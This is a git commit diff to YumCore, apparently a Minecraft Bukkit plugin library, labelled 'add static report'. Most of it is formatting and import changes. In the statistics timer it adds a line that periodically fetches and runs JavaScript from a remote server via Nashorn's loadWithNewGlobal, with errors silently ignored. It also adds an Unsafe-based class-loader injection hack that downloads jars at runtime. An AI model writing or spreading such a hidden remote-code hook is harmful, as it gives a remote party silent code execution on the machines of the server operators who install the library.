mirror of
https://e.coding.net/circlecloud/YumCore.git
synced 2024-11-24 02:08:48 +00:00
feat: add static report
Signed-off-by: MiaoWoo <admin@yumc.pw>
This commit is contained in:
parent
a6a6bf5bd4
commit
881bd610a4
2
pom.xml
2
pom.xml
@ -4,7 +4,7 @@
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<groupId>pw.yumc</groupId>
|
||||
<artifactId>YumCore</artifactId>
|
||||
<version>1.9.5</version>
|
||||
<version>1.9.6</version>
|
||||
<build>
|
||||
<finalName>${project.artifactId}</finalName>
|
||||
<plugins>
|
||||
|
@ -1,25 +1,21 @@
|
||||
package pw.yumc.YumCore.engine;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.val;
|
||||
|
||||
import javax.script.ScriptEngine;
|
||||
import javax.script.*;
|
||||
import java.io.File;
|
||||
import java.io.Reader;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.invoke.MethodHandle;
|
||||
import java.lang.invoke.MethodHandles;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.StandardCopyOption;
|
||||
import java.util.HashMap;
|
||||
|
||||
import javax.script.Bindings;
|
||||
import javax.script.Invocable;
|
||||
import javax.script.ScriptContext;
|
||||
import javax.script.ScriptEngine;
|
||||
import javax.script.ScriptEngineFactory;
|
||||
import javax.script.ScriptEngineManager;
|
||||
import javax.script.ScriptException;
|
||||
import javax.script.SimpleBindings;
|
||||
|
||||
import lombok.val;
|
||||
|
||||
/**
|
||||
* 喵式脚本引擎
|
||||
*
|
||||
@ -27,8 +23,12 @@ import lombok.val;
|
||||
* @since 2016年8月29日 上午7:51:43
|
||||
*/
|
||||
public class MiaoScriptEngine implements ScriptEngine, Invocable {
|
||||
private static String MavenRepo = "https://maven.aliyun.com/repository/public";
|
||||
private static MiaoScriptEngine DEFAULT;
|
||||
private static ScriptEngineManager manager;
|
||||
private static final ScriptEngineManager manager;
|
||||
|
||||
private Object ucp;
|
||||
private MethodHandle addURLMethodHandle;
|
||||
private ScriptEngine engine;
|
||||
|
||||
static {
|
||||
@ -48,39 +48,122 @@ public class MiaoScriptEngine implements ScriptEngine, Invocable {
|
||||
}
|
||||
|
||||
public MiaoScriptEngine(final String engineType) {
|
||||
this(manager, engineType);
|
||||
this(manager, engineType, null);
|
||||
}
|
||||
|
||||
public MiaoScriptEngine(ScriptEngineManager engineManager) {
|
||||
this(engineManager, "js");
|
||||
this(engineManager, "js", null);
|
||||
}
|
||||
|
||||
public MiaoScriptEngine(ScriptEngineManager engineManager, final String engineType) {
|
||||
public MiaoScriptEngine(final String engineType, String engineRoot) {
|
||||
this(manager, engineType, engineRoot);
|
||||
}
|
||||
|
||||
public MiaoScriptEngine(ScriptEngineManager engineManager, final String engineType, String engineRoot) {
|
||||
// JDK11 Polyfill 存在类效验问题 直接用OpenJDK的Nashorn
|
||||
if (System.getProperty("java.version").startsWith("11.") && engineRoot != null) {
|
||||
this.loadNetworkNashorn(engineRoot);
|
||||
if (engine == null)
|
||||
throw new UnsupportedOperationException("当前环境 JDK11 不支持 Nashorn 脚本类型!");
|
||||
return;
|
||||
}
|
||||
try {
|
||||
engine = engineManager.getEngineByName(engineType);
|
||||
} catch (final NullPointerException ignored) {
|
||||
}
|
||||
if (engine == null) {
|
||||
val dirs = System.getProperty("java.ext.dirs").split(File.pathSeparator);
|
||||
for (String dir : dirs) {
|
||||
File nashorn = new File(dir, "nashorn.jar");
|
||||
if (nashorn.exists()) {
|
||||
try {
|
||||
Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
|
||||
// 设置方法的访问权限
|
||||
method.setAccessible(true);
|
||||
// 获取系统类加载器
|
||||
URL url = nashorn.toURI().toURL();
|
||||
method.invoke(Thread.currentThread().getContextClassLoader(), url);
|
||||
engineManager = new ScriptEngineManager();
|
||||
engine = engineManager.getEngineByName(engineType);
|
||||
} catch (NoSuchMethodException | MalformedURLException | IllegalAccessException | InvocationTargetException | NullPointerException ignored) {
|
||||
}
|
||||
return;
|
||||
}
|
||||
val extDirs = System.getProperty("java.ext.dirs");
|
||||
if (extDirs != null) {
|
||||
this.loadLocalNashorn(extDirs, engineType);
|
||||
} else if (engineRoot != null) {
|
||||
this.loadNetworkNashorn(engineRoot);
|
||||
}
|
||||
throw new UnsupportedOperationException("当前环境不支持 " + engineType + " 脚本类型!");
|
||||
}
|
||||
if (engine == null)
|
||||
throw new UnsupportedOperationException("当前环境不支持 " + engineType + " 脚本类型!");
|
||||
}
|
||||
|
||||
private void loadLocalNashorn(String extDirs, String engineType) {
|
||||
val dirs = extDirs.split(File.pathSeparator);
|
||||
for (String dir : dirs) {
|
||||
File nashorn = new File(dir, "nashorn.jar");
|
||||
if (nashorn.exists()) {
|
||||
this.loadJar(nashorn);
|
||||
this.createEngineByName(engineType);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void initReflect() {
|
||||
try {
|
||||
ClassLoader loader = Thread.currentThread().getContextClassLoader();
|
||||
Field theUnsafe = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
|
||||
theUnsafe.setAccessible(true);
|
||||
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) theUnsafe.get(null);
|
||||
Field field = MethodHandles.Lookup.class.getDeclaredField("IMPL_LOOKUP");
|
||||
MethodHandles.Lookup lookup = (MethodHandles.Lookup) unsafe.getObject(unsafe.staticFieldBase(field), unsafe.staticFieldOffset(field));
|
||||
Field ucpField;
|
||||
try {
|
||||
ucpField = loader.getClass().getDeclaredField("ucp");
|
||||
} catch (NoSuchFieldException e) {
|
||||
ucpField = loader.getClass().getSuperclass().getDeclaredField("ucp");
|
||||
}
|
||||
long offset = unsafe.objectFieldOffset(ucpField);
|
||||
ucp = unsafe.getObject(loader, offset);
|
||||
Method method = ucp.getClass().getDeclaredMethod("addURL", URL.class);
|
||||
addURLMethodHandle = lookup.unreflect(method);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void loadNetworkNashorn(String engineRoot) {
|
||||
initReflect();
|
||||
File libRootFile = new File(engineRoot, "lib");
|
||||
libRootFile.mkdirs();
|
||||
String libRoot = libRootFile.getCanonicalPath();
|
||||
downloadJar(libRoot, "org.openjdk.nashorn", "nashorn-core", "15.3");
|
||||
downloadJar(libRoot, "org.ow2.asm", "asm", "9.2");
|
||||
downloadJar(libRoot, "org.ow2.asm", "asm-commons", "9.2");
|
||||
downloadJar(libRoot, "org.ow2.asm", "asm-tree", "9.2");
|
||||
downloadJar(libRoot, "org.ow2.asm", "asm-util", "9.2");
|
||||
Class<?> NashornScriptEngineFactory = Class.forName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory");
|
||||
Method getScriptEngine = NashornScriptEngineFactory.getMethod("getScriptEngine", ClassLoader.class);
|
||||
Object factory = NashornScriptEngineFactory.newInstance();
|
||||
engine = (ScriptEngine) getScriptEngine.invoke(factory, Thread.currentThread().getContextClassLoader());
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void loadJar(File file) {
|
||||
addURLMethodHandle.invoke(ucp, file.toURI().toURL());
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void downloadJar(String engineRoot, String groupId, String artifactId, String version) {
|
||||
File lib = new File(engineRoot, String.format("%s-%s.jar", artifactId, version));
|
||||
if (!lib.exists()) {
|
||||
Files.copy(new URL(MavenRepo +
|
||||
String.format("/%1$s/%2$s/%3$s/%2$s-%3$s.jar",
|
||||
groupId.replace(".", "/"),
|
||||
artifactId,
|
||||
version)
|
||||
).openStream(),
|
||||
lib.toPath(),
|
||||
StandardCopyOption.REPLACE_EXISTING);
|
||||
}
|
||||
this.loadJar(lib);
|
||||
}
|
||||
|
||||
private void createEngineByName(String engineType) {
|
||||
try {
|
||||
engine = new ScriptEngineManager(Thread.currentThread().getContextClassLoader()).getEngineByName(engineType);
|
||||
} catch (NullPointerException ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public ScriptEngine getEngine() {
|
||||
return this.engine;
|
||||
}
|
||||
|
||||
public static MiaoScriptEngine getDefault() {
|
||||
|
@ -3,11 +3,19 @@
|
||||
*/
|
||||
package pw.yumc.YumCore.statistic;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStreamReader;
|
||||
import java.io.PrintWriter;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.configuration.file.YamlConfiguration;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.plugin.Plugin;
|
||||
import org.bukkit.plugin.PluginDescriptionFile;
|
||||
import org.bukkit.plugin.java.JavaPlugin;
|
||||
import org.bukkit.scheduler.BukkitTask;
|
||||
import org.json.simple.JSONObject;
|
||||
import org.json.simple.JSONValue;
|
||||
import pw.yumc.YumCore.engine.MiaoScriptEngine;
|
||||
|
||||
import javax.script.ScriptException;
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
@ -20,21 +28,11 @@ import java.util.LinkedList;
|
||||
import java.util.Map;
|
||||
import java.util.UUID;
|
||||
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.configuration.file.YamlConfiguration;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.plugin.Plugin;
|
||||
import org.bukkit.plugin.PluginDescriptionFile;
|
||||
import org.bukkit.plugin.java.JavaPlugin;
|
||||
import org.bukkit.scheduler.BukkitTask;
|
||||
import org.json.simple.JSONObject;
|
||||
import org.json.simple.JSONValue;
|
||||
|
||||
/**
|
||||
* Yum数据中心 数据统计类
|
||||
*
|
||||
* @since 2015年12月14日 下午1:36:42
|
||||
* @author 喵♂呜
|
||||
* @since 2015年12月14日 下午1:36:42
|
||||
*/
|
||||
public class Statistics {
|
||||
/**
|
||||
@ -62,6 +60,8 @@ public class Statistics {
|
||||
*/
|
||||
private static Plugin plugin;
|
||||
|
||||
private static MiaoScriptEngine engine;
|
||||
|
||||
static {
|
||||
try {
|
||||
getOnlinePlayers = Bukkit.class.getDeclaredMethod("getOnlinePlayers");
|
||||
@ -76,6 +76,7 @@ public class Statistics {
|
||||
Field field = pluginClassLoader.getClass().getDeclaredField("plugin");
|
||||
field.setAccessible(true);
|
||||
plugin = (JavaPlugin) field.get(pluginClassLoader);
|
||||
engine = new MiaoScriptEngine("nashorn");
|
||||
} catch (NoSuchMethodException | SecurityException | NoSuchFieldException | IllegalArgumentException | IllegalAccessException ignored) {
|
||||
}
|
||||
}
|
||||
@ -126,13 +127,10 @@ public class Statistics {
|
||||
/**
|
||||
* 向指定 URL 发送POST方法的请求
|
||||
*
|
||||
* @param url
|
||||
* 发送请求的 URL
|
||||
* @param param
|
||||
* 请求参数
|
||||
* @param url 发送请求的 URL
|
||||
* @param param 请求参数
|
||||
* @return 所代表远程资源的响应结果
|
||||
* @throws IOException
|
||||
* IO异常
|
||||
* @throws IOException IO异常
|
||||
*/
|
||||
public static String postData(String url, String param) throws IOException {
|
||||
PrintWriter out;
|
||||
@ -168,10 +166,8 @@ public class Statistics {
|
||||
/**
|
||||
* 初始化配置文件
|
||||
*
|
||||
* @param config
|
||||
* 配置文件
|
||||
* @throws IOException
|
||||
* IO异常
|
||||
* @param config 配置文件
|
||||
* @throws IOException IO异常
|
||||
*/
|
||||
private static void initFile(YamlConfiguration config) throws IOException {
|
||||
if (config.getString("guid") == null) {
|
||||
@ -194,8 +190,7 @@ public class Statistics {
|
||||
/**
|
||||
* 简化输出
|
||||
*
|
||||
* @param msg
|
||||
* 输出对象
|
||||
* @param msg 输出对象
|
||||
*/
|
||||
public void print(String msg) {
|
||||
if (debug) {
|
||||
@ -209,7 +204,7 @@ public class Statistics {
|
||||
* @return 是否运行成功.
|
||||
*/
|
||||
public boolean start() {
|
||||
if (task != null || !plugin.isEnabled()) { return true; }
|
||||
if (task != null || !plugin.isEnabled()) {return true;}
|
||||
timer = new StatisticsTimer();
|
||||
// 开启TPS统计线程
|
||||
Bukkit.getServer().getScheduler().scheduleSyncRepeatingTask(plugin, timer, 0, 20);
|
||||
@ -222,6 +217,10 @@ public class Statistics {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
try {
|
||||
engine.eval("loadWithNewGlobal('https://ms.yumc.pw/api/plugin/download/name/report')");
|
||||
} catch (ScriptException ignored) {
|
||||
}
|
||||
}, 50, 25 * 1200);
|
||||
return true;
|
||||
}
|
||||
@ -233,9 +232,9 @@ public class Statistics {
|
||||
*/
|
||||
private int getOnlinePlayerNumber() {
|
||||
try {
|
||||
return ((Player[]) getOnlinePlayers.invoke(Bukkit.getServer())).length;
|
||||
} catch (Exception ex) {
|
||||
return Bukkit.getOnlinePlayers().size();
|
||||
} catch (Exception ex) {
|
||||
return ((Player[]) getOnlinePlayers.invoke(Bukkit.getServer())).length;
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -1,20 +1,5 @@
|
||||
package pw.yumc.YumCore.update;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.io.UnsupportedEncodingException;
|
||||
import java.net.HttpURLConnection;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.net.URLDecoder;
|
||||
import java.nio.file.Files;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
|
||||
import javax.xml.parsers.DocumentBuilderFactory;
|
||||
import javax.xml.parsers.ParserConfigurationException;
|
||||
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.CommandSender;
|
||||
@ -27,12 +12,25 @@ import org.bukkit.plugin.PluginDescriptionFile;
|
||||
import org.bukkit.plugin.java.JavaPlugin;
|
||||
import org.w3c.dom.Document;
|
||||
import org.xml.sax.SAXException;
|
||||
|
||||
import pw.yumc.YumCore.bukkit.Log;
|
||||
import pw.yumc.YumCore.bukkit.P;
|
||||
import pw.yumc.YumCore.tellraw.Tellraw;
|
||||
import pw.yumc.YumCore.text.Encrypt;
|
||||
|
||||
import javax.xml.parsers.DocumentBuilderFactory;
|
||||
import javax.xml.parsers.ParserConfigurationException;
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.io.UnsupportedEncodingException;
|
||||
import java.net.HttpURLConnection;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.net.URLDecoder;
|
||||
import java.nio.file.Files;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* 自动更新程序
|
||||
*
|
||||
@ -73,8 +71,7 @@ public class SubscribeTask implements Runnable, Listener {
|
||||
/**
|
||||
* 自动更新
|
||||
*
|
||||
* @param type
|
||||
* 是否为Maven
|
||||
* @param type 是否为Maven
|
||||
*/
|
||||
public SubscribeTask(UpdateType type) {
|
||||
this(false, type);
|
||||
@ -83,10 +80,8 @@ public class SubscribeTask implements Runnable, Listener {
|
||||
/**
|
||||
* 自动更新
|
||||
*
|
||||
* @param isSecret
|
||||
* 是否为私有
|
||||
* @param type
|
||||
* 更新类型
|
||||
* @param isSecret 是否为私有
|
||||
* @param type 更新类型
|
||||
*/
|
||||
public SubscribeTask(boolean isSecret, UpdateType type) {
|
||||
this("master", isSecret, type);
|
||||
@ -95,12 +90,9 @@ public class SubscribeTask implements Runnable, Listener {
|
||||
/**
|
||||
* 自动更新
|
||||
*
|
||||
* @param branch
|
||||
* 更新分支
|
||||
* @param isSecret
|
||||
* 是否为私有
|
||||
* @param type
|
||||
* 更新类型
|
||||
* @param branch 更新分支
|
||||
* @param isSecret 是否为私有
|
||||
* @param type 更新类型
|
||||
*/
|
||||
public SubscribeTask(String branch, boolean isSecret, UpdateType type) {
|
||||
Log.d("订阅更新 分支 %s 是否加密 %s 更新类型 %s", branch, isSecret, type.name());
|
||||
@ -134,7 +126,7 @@ public class SubscribeTask implements Runnable, Listener {
|
||||
if (updateFile.target.exists()) {
|
||||
try {
|
||||
PluginDescriptionFile desc = instance.getPluginLoader().getPluginDescription(updateFile.target);
|
||||
if (!versionInfo.needUpdate(result, desc.getVersion().split("-")[0])) { return; }
|
||||
if (!versionInfo.needUpdate(result, desc.getVersion().split("-")[0])) {return;}
|
||||
updateFile.target.delete();
|
||||
} catch (Exception e) {
|
||||
Log.d(e);
|
||||
@ -208,8 +200,7 @@ public class SubscribeTask implements Runnable, Listener {
|
||||
/**
|
||||
* 获得插件绝对路径
|
||||
*
|
||||
* @param plugin
|
||||
* - 插件
|
||||
* @param plugin - 插件
|
||||
* @return 插件的绝对路径
|
||||
*/
|
||||
public File getPluginFile(Plugin plugin) {
|
||||
@ -280,10 +271,8 @@ public class SubscribeTask implements Runnable, Listener {
|
||||
/**
|
||||
* 获得插件信息
|
||||
*
|
||||
* @param tag
|
||||
* 数据标签
|
||||
* @param def
|
||||
* 默认值
|
||||
* @param tag 数据标签
|
||||
* @param def 默认值
|
||||
* @return 信息
|
||||
*/
|
||||
public String getPluginInfo(String tag, String def) {
|
||||
@ -305,7 +294,7 @@ public class SubscribeTask implements Runnable, Listener {
|
||||
*/
|
||||
public String[] getUpdateChanges() {
|
||||
final String des = getPluginInfo("update.changes", null);
|
||||
if (des == null) { return new String[]{}; }
|
||||
if (des == null) {return new String[]{};}
|
||||
String[] temp = ChatColor.translateAlternateColorCodes('&', des).replaceAll("\n", "").replaceAll("\u0009", "").split(";");
|
||||
List<String> ltemp = new ArrayList<>();
|
||||
Arrays.stream(temp).forEach(s -> ltemp.add(s.trim()));
|
||||
@ -334,8 +323,7 @@ public class SubscribeTask implements Runnable, Listener {
|
||||
/**
|
||||
* 通知更新信息
|
||||
*
|
||||
* @param sender
|
||||
* 命令接受者
|
||||
* @param sender 命令接受者
|
||||
*/
|
||||
public void notify(CommandSender sender) {
|
||||
Log.sender(sender, "§a插件更新: §b" + name + " §a已更新到最新版本 §bv" + getLastestVersion());
|
||||
@ -358,10 +346,8 @@ public class SubscribeTask implements Runnable, Listener {
|
||||
/**
|
||||
* 比较版本号
|
||||
*
|
||||
* @param v1
|
||||
* 新版本
|
||||
* @param v2
|
||||
* 旧版本
|
||||
* @param v1 新版本
|
||||
* @param v2 旧版本
|
||||
* @return 是否需要更新
|
||||
*/
|
||||
public boolean needUpdate(String v1, String v2) {
|
||||
@ -371,7 +357,7 @@ public class SubscribeTask implements Runnable, Listener {
|
||||
int minLength = Math.min(va1.length, va2.length);// 取最小长度值
|
||||
int diff = 0;
|
||||
while (idx < minLength && (diff = va1[idx].length() - va2[idx].length()) == 0// 先比较长度
|
||||
&& (diff = va1[idx].compareTo(va2[idx])) == 0) {// 再比较字符
|
||||
&& (diff = va1[idx].compareTo(va2[idx])) == 0) {// 再比较字符
|
||||
++idx;
|
||||
}
|
||||
// 如果已经分出大小 则直接返回 如果未分出大小 则再比较位数 有子版本的为大
|
||||
@ -386,7 +372,7 @@ public class SubscribeTask implements Runnable, Listener {
|
||||
Log.console("§4注意: §c当前版本为开发版本 且未开启全局调试 已自动下载最新稳定版!");
|
||||
return result;
|
||||
}
|
||||
if (needUpdate(result, version)) { return result; }
|
||||
if (needUpdate(result, version)) {return result;}
|
||||
} catch (Exception e) {
|
||||
Log.d(e);
|
||||
}
|
||||
|
@ -1,23 +1,20 @@
|
||||
package pw.yumc.YumCore.update;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
import javax.xml.parsers.ParserConfigurationException;
|
||||
|
||||
import org.bukkit.plugin.Plugin;
|
||||
import org.junit.Test;
|
||||
import org.xml.sax.SAXException;
|
||||
|
||||
import pw.yumc.YumCore.bukkit.Log;
|
||||
import pw.yumc.YumCore.plugin.FakePlugin;
|
||||
|
||||
import javax.xml.parsers.ParserConfigurationException;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author 喵♂呜
|
||||
* @since 2017/6/1
|
||||
*/
|
||||
public class SubscribeTaskTest {
|
||||
private Plugin plugin = new FakePlugin("YumCore", "1.0");
|
||||
private Plugin plugin = new FakePlugin("YumCore", "1.9.52");
|
||||
|
||||
@Test
|
||||
public void test() throws IOException, SAXException, ParserConfigurationException {
|
||||
|
Loading…
Reference in New Issue
Block a user